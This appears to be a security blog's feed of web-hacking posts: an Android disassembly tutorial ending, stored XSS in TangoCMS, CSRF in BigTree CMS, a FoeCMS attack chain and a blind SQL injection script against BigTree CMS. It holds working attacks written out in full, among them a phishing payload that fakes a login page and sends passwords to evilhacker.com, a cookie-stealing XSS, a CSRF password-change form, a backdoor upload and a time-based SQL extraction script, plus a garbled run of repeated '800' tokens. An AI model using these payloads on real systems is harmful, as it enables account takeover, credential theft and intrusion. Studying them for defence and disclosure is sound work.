        14 (00000034) const-string        v1, 'Well done!! Challenge passed! :-)'
        15 (00000038) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        16 (0000003e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        17 (00000042) const               v1, -16711936
        18 (00000048) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
        19 (0000004e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        20 (00000052) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V [ onClick-BB@0x58 ]

onClick-BB@0x58 :
        21 (00000058) return-void

onClick-BB@0x5a :
        22 (0000005a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        23 (0000005e) const-string        v1, "Incorrect password! :'-("
        24 (00000062) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        25 (00000068) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        26 (0000006c) const/high16        v1, -1
        27 (00000070) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
        28 (00000076) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        29 (0000007a) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V
        30 (00000080) goto                -20 [ onClick-BB@0x58 ]

***************************************************************************
########## XREF
####################

In [11]:

Here we can see the actual dalvik disassembly and decompile it ourself if need be.

Conclusion

So we've learnt a bit about Android and how we can begin to analyze the system more.

We have been introduced to the basic layout of Android and Android applications, as well as a few tools that can be used to look a little closer at them.

Hopefully this blog post has done a decent job of introducing the basics of Android and given ideas for further exploration.

Further Reading

Android Hacker's Handbook by Joshua J. Drake, Zach Lanier, Collin Mulliner, Pau Oliva Fora, Stephen A. Ridley, Georg Wicherski

✇eXploit

Authenticated Stored XSS in TangoCMS

By: 0xe7

I decided to take a look at TangoCMS for vulnerabilities even though it has been discontinued.

To my surprise there wasn't a huge amount that I could find, I did, however, find an authenticated stored XSS vulnerability.

This post is the description of that vulnerability and how to exploit it.

The Vulnerability

The actual vulnerability exists in the article functionality.

While by default only the admin user is able to create new articles, it makes sense that other users would be given the permissions to create them.

There is some client side filtering going on that does HTML encoding, so if I create an article with the classic javascript alert payload:

What it actually sends is:

The relevant field contains:

1
%23%21html%0D%0A%3Cp%3E%26lt%3Bscript%26gt%3Balert%28%27xss%27%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E

If you URL decode this it is more clear:

1
2
#!html
<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

So its HTML encoded the less than (<) and greater than (>) signs.

Fortunately this is very easy to beat by intecepting the request in burp and inserting our payload then:

Now if we visit the articles page the payload launches:

Exploitation

Even though we've clearly found an XSS vulnerability it is only avaliable to authenticated users who have the ability to create (or edit) articles.

On top of this, the session cookies that are used by the application aren't accessible to script code (they all have the HttpOnly flag set), as you can see when you login:

Because of all of this it isn't immediately obvious why this vulnerability is important at all, and a client could decide to ignore the vulnerability because of this, so I went about creating a decent POC payload that demonstrates the problem with this type of vulnerability.

I decided to create a credential harvesting exploit which hopefully would trick even the more security conscious users (obviously ignoring the ability to use BeEF, I like to show how to do things manually).

The main goal of this exploit is to be as stealthy as possible while stealing the credentials so we only want to attack currently logged in users and also we only want to attack each user once.

The first problem (attacking only logged in users) can be acheived by careful review of the client side source code:

Here you can see a div tag with the id sessionGreating and it contains an a tag whose innerHTML is the actual username (here the username is just user, really imaginative :-).

This obviously only shows to users that are currently logged in.

The fact that we can grab the username out of this helps us with the next part of our exploit.

To attack the user only once we will use localStorage, and by getting the username of the logged in user we can make sure that we still run our main payload for different users that use the same browser.

We can now build the start of our payload:

1
2
3
4
5
6
7
d=document.getElementById('sessionGreeting');
if (d) {
    n=d.getElementsByTagName('a')[0].innerHTML;
    if (!localStorage.getItem(n)) {
        [REST OF PAYLOAD]
    }
}

We could of course redirect any user that isn't logged in to the login screen but that would make it more noisy and I think it would be caught quicker.

At this point we know the user is logged in, we also know the username so we could target specific users if we wish but I will target all logged in users.

We could build the login page manually but it would be boring and hugely unnecessary.

The best way I can think of is by just using the real login page, to do this though we'll first need to log the user out, once logged out we can request the real login page:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
r=new XMLHttpRequest();
r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
r.send();
r.onreadystatechange=function(){
    if(r.readyState==4){
        l=new XMLHttpRequest();
        l.open("GET","http://tangocms/index.php?url=session",true);
        l.send();
        l.onreadystatechange=function(){
            if(l.readyState==4){
                [REST OF PAYLOAD]
            }
        }
    }
}

Now we have the contents of the login page in l.responseText.

Before we write this to the screen we need to first make a couple of changes.

We need to hook the onsubmit event of the login form, that way we can run a function which steals the username and password before submitting the form.

We also need to tell the user why the login page is being displayed, if we just log the user straight out with no explaination, that might raise more suspicion than if an explaination is given.

For the explaination I think I'll go with the Your session has expired, please login again message, but we want this to look as realistic as possible so we want to display it how normal error messages are displayed on the site.

We can check this by failing a login:

Looking at the source code for this:

We can see that the message is put right after the h1 that contains a innerHTML of Login right before the form, which is the only form on the page.

We can also see that its contained within a div tag with the id of eventmsgError and a calls of eventmsg, and then inside a p tag.

With all of this information we should be able to create our custom error message using javascript:

1
2
3
4
5
6
7
d=document;
i=d.createElement('div');
i.id='eventmsgError';
i.className='eventmsg';
i.innerHTML="<p>Your session has expired, please login again</p>";
f=d.forms[0];
d.getElementById('content').children[0].insertBefore(i, f);

Obviously we can't use the normal document element for this but we can transform our responseText into a document object like this:

1
2
p=new DOMParser();
z=p.parseFromString(l.responseText,"text/html");

We need to hook the onsubmit event of the form but first we should replace the innerHTML of the document with our newly created login page:

1
document.documentElement.innerHTML=z.documentElement.innerHTML;

Now we can hook the onsubmit event:

1
2
3
4
5
6
7
8
document.forms[0].onsubmit=function(){
    u=document.getElementById('sessionIdentifier').value;
    pass=document.getElementById('sessionPassword').value;
    x=new XMLHttpRequest();
    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
    x.send();
    localStorage.setItem(n, "Done");
}

So after I steal the username and password and send it to my machine, I set the localStorage so that it doesn't run again for that user.

Obviously the URL that the username and password is sent to can be anything.

Lastly I want to implement 1 more thing that will make this attack look even more authentic.

I'm going to use pushState to change the URL that is shown in the address bar as the page is changed to the login page.

This will hopefully fool any user who is perceptive enough to look at the address bar to make sure they are on the login page.

Its worth baring in mind that this is only possible because the target URL is the same as the URL we are attacking from, it is not possible to do this for different domains:

1
2
s={ foo: "bar" };
history.pushState(s, "", "/index.php?url=session");

The state object is irrelavent for our purposes and the second argument to pushState (the title) is actually ignored, but will be sorted by the HTML anyway.

Its worth noting that I tried the exploit as is and it didn't work, here is why it didn't work:

The sessionGreeting div tag that we are using to check if the user is logged in is after the script, and as the script gets run when it is first encountered instead of when the full document is loaded the element doesn't exist yet so it doesn't get past the first if statement.

We can fix this easily using a callback that triggers when the document has finished loading:

1
2
3
4
5
document.onreadystatechange=function(){
    if(document.readyState=="complete"){
        [REST OF PAYLOAD]
    }
}

So now our full javascript payload can be created:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
document.onreadystatechange=function(){
    if(document.readyState=="complete"){

        d=document.getElementById('sessionGreeting');
        if (d) {
            n=d.getElementsByTagName('a')[0].innerHTML;
            if (!localStorage.getItem(n)) {
                r=new XMLHttpRequest();
                r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
                r.send();
                r.onreadystatechange=function(){
                    if(r.readyState==4){
                        l=new XMLHttpRequest();
                        l.open("GET","http://tangocms/index.php?url=session",true);
                        l.send();
                        l.onreadystatechange=function(){
                            if(l.readyState==4){
                                p=new DOMParser();
                                z=p.parseFromString(l.responseText,"text/html");
                                i=z.createElement('div');
                                i.id='eventmsgError';
                                i.className='eventmsg';
                                i.innerHTML="<p>Your session has expired, please login again</p>";
                                f=z.forms[0];
                                z.getElementById('content').children[0].insertBefore(i, f);
                                s={ foo: "bar" };
                                history.pushState(s, "", "/index.php?url=session");
                                document.documentElement.innerHTML=z.documentElement.innerHTML;
                                document.forms[0].onsubmit=function(){
                                    u=document.getElementById('sessionIdentifier').value;
                                    pass=document.getElementById('sessionPassword').value;
                                    x=new XMLHttpRequest();
                                    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
                                    x.send();
                                    localStorage.setItem(n, "Done");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

I URL encoded all of this using Burp:

Copy the output of the Burp encoder, intercept the request while editing the article again and put the encoded payload inbetween script tags after the article:

At this point I setup a python server listening on another host and in my payload I had put the IP address of this host with the port 8000.

Then I logged out and logged in as the admin user, when I went to view the article, it showed for a second but then displayed this page:

800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800

Obviously if this had happened right after login it might look a little suspicious but the user might have just put it down to an application bug, especially as it wouldn't happen again.

After logging in again on this page I saw this on my terminal running the python server:

1
2
3
4
D:\test>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
win8 - - [20/Mar/2015 14:42:57] "GET /[email protected]&pass=admin HTTP/
1.1" 301 -

Now when viewing the article we see:

Obviously in a real attack we'd upload a less obvious article and probably a very interesting one that a lot of people would want to view.

Conclusion

Obviously the major issue here is the need to already have an account with article add/edit abilities but this could be achieved through phishing, brute forcing or just a malicious user.

But I hope this should demonstrate the need for XSS protection in every area of a web application.

It should also demonstrate a way in which accounts can by hijacked even without the ability to get password hashes and crack them or steal session cookies.

With a little imagination the sky is the limit!

Happy Hacking :-)

✇eXploit

CSRF In BigTree CMS

By: 0xe7

Yesterday I found a cross site request forgery (CSRF) vulnerability in the latest version of BigTree CMS (at the time of writing version 1.4.5).

This is a little explaination of the vulnerability and how to exploit it.

The Vulnerability

The vulnerability is in the account settings request, which is used to change the account name, company and password.

A normal request looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /site/index.php/admin/users/profile/update/ HTTP/1.1
Host: bigtree
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bigtree/site/index.php/admin/users/profile/
Cookie: bigtree_admin[email]=admin%40admin.com; bigtree_admin[password]=%24P%24BtBKYRYkkk%2FMEvT%2F.XzNJO8j.6Z1bN%2F; PHPSESSID=iee0n5s0gu9b0ausud7hdqkql4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

name=Developer&password=newpassword&company=

The vulnerability exists in [BigTreeROOT]/core/admin/modules/users/profile/update.php:

1
2
3
4
5
<?
        $admin->updateProfile($_POST);
        $admin->growl("Users","Updated Profile");
        BigTree::redirect(ADMIN_ROOT."dashboard/");
?>

Here is clearly isn't doing any checks to prevent CSRF.

The Exploit

So exploiting this is very simple, you just have to lure someone who is already logged into the application is visit a page containing this code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<html>
  <body>
    <form method="post" action="http:/bigtree/site/index.php/admin/users/profile/update/" >
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="password" value="newpassword" />
      <input type="hidden" name="company" value="foobar" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

The values here can be changed to anything, it just automatically issues a POST request to http:/bigtree/site/index.php/admin/users/profile/update/ with the following arguments:

name=admin&password=newpassword&company=foobar

Unfortunately it is reasonably intrusive because when loaded the victim will see this:

So the user will immediately know that their profile details might have changed.

The Fix

So I contacted Tim Buckingham (the lead developer for BigTree CMS) about this issue yesterday (on 7th March 2015) and he replied the next day informing me that he'd fixed the issue.

You can see the fix here.

The next full releases of BigTree CMS (4.1.6 and 4.0.10) should be out next week and will incorporate this fix.

Happy Hacking :-)

Update (07/04/2015): BigTree CMS have finally released the next version (4.2) that includes the fix, you can download the latest version from here.

✇eXploit

Hacking FoeCMS

By: 0xe7

Today I decided to look at FoeCMS.

There are many known vulnerabilities for the older version of the application (version 1.6.5) but none that I could find for the current version (on Github).

I plan to develop a full attack against this application while looking for vulnerabilities.

Setting Up The App

I setup the application on Debian/Apache/PHP5/MySQL.

Its pretty easy to setup, just pull the code from github with:

git clone https://github.com/themarioga/FoeCMS.git

Place it in the webroot (or subfolder if you wish), set the permissions:

chown -R www-data:www-data /var/www

Then create the database and database user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.41-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database foecms;
Query OK, 1 row affected (0.00 sec)

mysql> grant all on foecms.* to 'foecms'@'localhost' identified by 'foecms';
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit
Bye

Now its just a matter of finishing the installation through the browser, visiting the site we get directed to this:

These are the setting I'm using. Notice how only guests with intitations can register.

There is 1 thing left to do, remove or rename the install directory:

[email protected]:~# mv /var/www/install /var/www/install.old

Now that installation is finished when we visit the webpage we should be presented with this:

Some Vulnerabilities

Now we just need to use the application a bit and see what we can find.

Some SQL Injections

The first thing I done is change the language to English (by clicking the little union jack flag on the top of the page), this sends the following request:

http://foecms/index.php?i=2

Which sets the following cookie:

foecms_lang=2; expires=Mon, 09-Mar-2015 11:05:12 GMT

Here we already have 2 possible attack vectors (the value of the i parameter to index.php and the value of the foecms_lang cookie).

In fact both of these are vulnerable to SQL Injection, you can see this if you send this request:

http://foecms/index.php?i=2%27

Here is the full response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Sun, 08 Mar 2015 11:12:31 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foecms_lang=2%27; expires=Mon, 09-Mar-2015 11:12:31 GMT
Vary: Accept-Encoding
Content-Length: 182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<script>history.back();</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

And now if you visit any page, you get the same response body:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

To get rid of this error we need to remove the %27 from the cookie, I prefer Cookie Manager+ for this purpose:

And delete the PHPSESSID cookie:

Continuing to play about with the application I come across another page with an SQL injection vulnerability:

And an XSS is also possible:

I won't explain how to exploit these SQL injection vulnerabilities anymore, I've already done that pretty extensively in previous posts.

A Mail Injection Vulnerability

So Let's move on.

Clicking on Contact at the bottom of the site give you this, rather poorly written, page:

After putting in some arbitrary information, I set Burp to intercept the request, capture it and insert the following into the email address field:

%0aBCC:[email protected]

Here I am trying to inject another email address to send the email to:

Note: for the web application to be able to send emails externally (on the setup I have running) you need to enable it by running the following command and chosing Internet Site:

[email protected]:~# dpkg-reconfigure exim4-config

Checking the mailbox at mailinators website, we can see the email has been received:

Unfortunately the subject didn't get sent correctly but with a bit of testing I'm sure this could be refined to a more convincing email, and then this could be used as an email proxy to send out spam/phishing email.

A Logic Flaw

When trying to register, by visiting:

http://foecms/register.php

We get redirected to the following error:

This is because I set registration to invite only during installation.

After some testing I decided to add the cookie foecms_userid:

I did this because of the foecms_lang cookie. I then clicked on the link to the test post, which sent this request:

http://foecms/viewitem.php?i=1

I got an error message saying No items found and then redirected to the homepage again, where I see this:

So it appears that I have been logged in.

We also now have the extra User Control Panel button, which gives us:

It looks like even though we're logged in, we're not logged in as anyone in particular, which means we have limited functionailty.

For instance, we can't change any account details because our session doesn't appear to belong to an account.

Inviting Myself

I did, however, have access to the invitation page:

After sending an invitation we get this:

So it tells us the URL to visit. Here is the email that is received:

This email isn't really helpful but the application has already given us the registration URL.

The problem is when we visit it we get this:

Fixing The App

The problem we face here seems to be a problem in the application itself.

It doesn't seem to be prepending the prefix to the table name.

Obviously this would have been fixed on a production website so I just fixed this manually by editing /var/www/include/functions.php, line 336, and changing it from:

1
$res = mysql_query("SELECT * FROM ".$MYSQL_PREFIX."invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

And replacing it with this:

1
$res = mysql_query("SELECT * FROM foe_invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

So I'm just hardcoding the prefix into the query, not the best fix but it will work for our purposes.

Now when we visit the registration page we get:

Obviously, if we want to create an account we probably want to give it a less obvious name but we are only testing here.

Here is the welcome email you receive after registration:

The main thing we can get from this is that our email is sent in plain text and its encrypted as MD5.

XSS Via SQL Injection

Actually, after this next vulnerability it might not have been necessary to create an account but the account will come in useful for testing it.

Now that we have an account we can try sending a message to it:

Logging into the new hacker acccount we can see we've received a new message:

But clicking on this message show us this (after some form of redirect):

Looking at the code in Burp we can see why this redirect happened:

But the message was displayed:

Now I did try a number of things to perform an XSS attack but was unable to.

But trying to send another message but with message' in the message box we get the following error:

Clearly we have another SQL injection vulnerability but this time in an INSERT statement.

The error tells us that we are injecting right at the end of the statement, so what we'll do is close off the current row and insert a new row, we'll also need to comment out anything after our injection.

So our injection should look as follows:

message'),([our new record]); --

The problem we've got is we don't know the number of columns or their types used in the statement.

We could use 1 of the other SQL injections to query the information_schema to get that information but we can use a different method.

Because NULL can be typecast to any type in MySQL, we can just keep increasing the number of NULL's until we no longer get an error.

There will likely be at least 4 columns (from, to, title and message), so lets start there by sending:

message'),(null,null,null,null); --

We got another error!

Looking at the request in Burp we can see why:

It seems the browser has stripped the last space from the message, which on other DBMSs it wouldn't be a problem but on MySQL it is, so we will use Burp's Repeater to do this injection:

Now we can edit the request in a lot more detail and sending it is successful:

This means there there are only 4 fields (assumably form, to, title and message).

Obviously, this isn't helpful because we've not filled in any of the fields so the message will not actually go to anyone.

The problem is that we don't know the types of the fields (at least the from and to fields) or the positions of any of them other than the message field.

In this case a bit of trial and error is normally required but luckily the first thing I tried turned out to be fruitful:

Hewre I am just injecting (1,2,3,4) as our new record.

After logging into the hacker account and checking the messages, we have recieved a message from admin with the title 3:

As its showing up as being from admin its likely that the first field is the from field and its using the userid instead of the username.

Also, this means the hacker user likely has a userid of 2.

Clicking on the message, we get:

So it no longer redirects, what that probably means is that because we were sending the message from a nonexistent account the redirect happens but when its sent from a valid userid the redirect doesn't happen.

So now we can test sending an XSS payload:

Viewing this message:

So some sanitization has been done.

We can use MySQL's CHAR and CONCAT functions to avoid using < or >.

We do this by putting the following in the message field:

1
concat('message',char(60),'script',char(62),'alert("xss")',char(60),'/script',char(62))

And viewing this message:

Success!

Now we just have to craft a payload that we can use to steal the admin users session cookies (as the cookies aren't protected with the httponly flag its possible to do this using javascript).

One way of doing that is the following:

1
2
3
4
5
6
p="receiver=hacker%26topic=mycookies%26message="%2bdocument.cookie;
r=new+XMLHttpRequest();
r.open("POST","/ucp/index.php?c=2",true);
r.setRequestHeader("Content-type","application/x-www-form-urlencoded");
r.setRequestHeader("Content-length",p.length);
r.send(p);

Here I'm just sending a message to the account I created with the cookies as the message.

I could have just sent to cookie in a HTTP request to any server on the internet and got the cookie that way but I thought this would be fun :-)

Viewing this with firebug we can see that the request was made:

However, as you can see here (from the response in firebug) the request failed:

This was only because the application doesn't allow sending messages to yourself, when we attack the admin account it will be sending the message to the hacker account.

I think its time to test the attack on the admin:

Notice above that I substituted any instance of & with char(38), this was because the application was converting & for & which broke the attack.

Now logging in as admin (with firebug running so we can see the request):

Now if we check the hacker users messages (obviously from a different browser so we don't expire the admin's session):

Finding RCE

We can now hijack the admin's session, there are a number of ways to do this, all we need to do is add the PHPSESSID cookie to our browser.

This time I'm going to do that by setting Burp as the proxy and intercepting the response from the server to add a Set-Cookie header:

Now if we reload the homepage we are logged into the admin account.

An Unrestricted File Upload Vulnerability

There is now another button on the top of the site Admin's Panel, looking through that a bit give us a good option for a file upload vulnerability:

This seemed to work fine, we just need to figure out where it uploaded to.

Visiting the homepage showed a new section with a broken image (assumably the image that I didn't upload when uploading my backdoor:

Right clicking and copying the link to that broken image gave me the following link:

http://foecms/storecontent/image/test/cmd

Browsing about in this storecontent directory led me to where the actual backdoor had been uploaded:

And now we can run commands on the server:

PWNED!!! :-D

Conclusion

As you can see, there can be a lot of steps involved in attacking a web application, especially if you want to make the most out of the attack.

Yes, I could have used the first SQL injection attack to find the admin account details and crack the password (as in my previous post) but firstly, if the admin accounts password is sufficiently secure and encrypted then it might not be feasible to crack it, and secondly I wanted to demonstrate another of the many ways a web application could be comprimised.

Happy Hacking :-)

Further Reading

I'll advise the exact same further reading as in my previous post because they are all still relevant.

✇eXploit

A Web Hack

By: 0xe7

So the other day I ran across this.

Its a virtualbox VM containing load of web applications vulnerable to SQL injection put together by Pentester Academy.

I've been a member of Pentester Academy from the very start (as well as having done a few of Securitytube's earlier courses), which I highly recommend, but I've never seen this VM.

In fact there are 2 VM's on this account that I've never seen before, I've seen both the arbirary file upload VM and the command injection VM (which I done a post about 1 of the applications here) but both the SQL injection and XSS/CRSF I'd never seen before.

So I decided to give it a go.

I've done a few of the challenges and they have been very fun so far but there is 1 I'd like to share.

With these challenges I'm trying to approach them from a web analysis point of view, so I'm looking for many different vulnerablities and not just to SQL injection.

Also I'm not using any public information about the applications to attack them and I'm doing the attacks from a completely blind approach (with no access to the machine or source code at all).

The Vulnerable App

The application I will be demonstrating is Bigtree-CMS.

Its an old version of the application and I won't be downloading the source and looking at that I will just be pretending that the source code is unavaliable.

So if we download the VM, import it into virtualbox boot it up and visit:

http://[ip]/BigTree-CMS/

We are 302 redirected and see the following:

Most likely something has gone wrong here, its worth noting here that I always setup the web browser that I am using to analyse a website to go through burp suite, so let's look at burp to see what happened:

So as you can see the application is pointing to itself via localhost meaning it is using absolute links and not relative. This is probably because the application was setup using localhost as its name.

We'll have to use burp to rewrite all of the responses:

Now if we reload the page we get:

A Quick Analysis

So we have the application working normally, its time to explore it.

There is only 1 thing we know for certain about this application, and that is that it is vulnerable to an SQL injection.

If you click on the Glossary link in the top right of the homepage, you get redirected to the following url:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

This suggests that the site is using REST-style urls, which basically means the values from normal url query paramerters are integrated into the url itself. So, in regards to a search function, instead of this url:

http://[website]/[path]?search=foobar

You would have:

http://[website]/[path]/search/foobar

What this means is parts of the url can se treated as a parameter would be treated.

Also, after putting in the following url:

http://[ip]/BigTree-CMS/site/index.php/admin/

We get redirected to the following page:

I tried looking for SQL injections into the login but it appeared to be reasonably secure.

Also there doesn't appear to be a signup link anywhere and going to:

http://[ip]/BigTree-CMS/site/index.php/admin/signup/

Redirects to the login page, and:

http://[ip]/BigTree-CMS/site/index.php/signup/

404's

An SQL Injection

I'm going to rush through this section because there is a lot of trial and error involved in determining the database and building; and refining the injection attack but I go into that in much more detail in my SQL Injections post.

So my focus turned to the url parameters. I first tried:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid%27/

But got redirected back to:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

So I tried the quote next to glossary and this happened:

This is very helpful, it actually tells us the full query we are injecting into:

Unfortunately it doesn't allow us to retrieve arbitrary information to the screen (at least that I could find) or even tell us the number of columns that the original query returns.

Obviously we can figure out the number of columns is 3 using SQL's ORDER BY because the lowest number to fail is:

http://[ip]/BigTree-CMS/site/index.php/glossary%27%20order%20by%204%20--%20/acid/

The easiest method I found of exploiting this was by using a time-based approach, I assume you could use a content-based approach by way of a forced error or ensuring no records were returned (and getting returned a 404) but I'm not on a time constraint so I wasn't too bothered.

So I first wrote a script to give me the database name (or at least a database name) and 1 of its table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                 "%28select%20concat%28table_schema,%27%20:%20%27,table_name" \
                 "%29%20from%20information_schema.tables%20where%20" \
                 "table_schema!=%27information_schema%27%20limit%201%29," \
                 "{0},1%29%29={1}%20then%20sleep(3)" \
                 "%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Believe it or not, this is how I write scripts, stright url encoded (mostly) and normally have the string on 1 line (I've put it on multiple lines here for readability).

For those of you not as used to url encoding and SQL, here is what I'm injecting:

' union select null,null,case when ascii(substr((select concat(table_schema,' : ',table_name) from information_schema.tables where table_schema!='information_schema' limit 1),[position],1))=[character ascii value] then sleep(3) else 1 end --

Then I'm checking to see if the response took longer than 3 seconds (we could increase this based on how quickly the website normally takes to respond).

I'm sending it through the proxy at 127.0.0.1:8080 (which is burp) so that burp can rewrite the relevant content and headers automatically, even though it shouldn't make a difference I thought it wouldn't hurt.

When run we get this:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-database.py"
bigtree : bigtree_404s

